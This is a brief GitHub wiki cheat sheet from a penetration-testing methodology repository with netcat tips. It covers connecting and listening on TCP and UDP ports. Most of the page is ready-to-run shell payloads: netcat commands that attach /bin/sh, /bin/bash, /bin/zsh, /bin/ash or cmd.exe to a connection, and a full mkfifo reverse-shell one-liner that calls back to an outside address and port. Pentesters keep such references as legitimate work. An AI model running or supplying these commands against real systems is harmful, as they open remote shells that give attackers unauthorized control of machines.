Netcat Tips - TheGetch/Penetration-Testing-Methodology GitHub Wiki
Netcat Tips
Connect to a netcat client:
rlwrap nc [IP Address] [port]
Listen on a TCP port:
rlwrap nc -lvp [Localport]
Listen on a UDP port:
rlwrap nc -lvup [port]
More info on rlwrap: https://linux.die.net/man/1/rlwrap
Linux:
rlwrap nc [Your IP Address] -e /bin/sh
rlwrap nc [Your IP Address] -e /bin/bash
rlwrap nc [Your IP Address] -e /bin/zsh
rlwrap nc [Your IP Address] -e /bin/ash
Windows:
rlwrap nc -lv [localport] -e cmd.exe
Linux netcat reverse shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.21.0.0 1234 >/tmp/f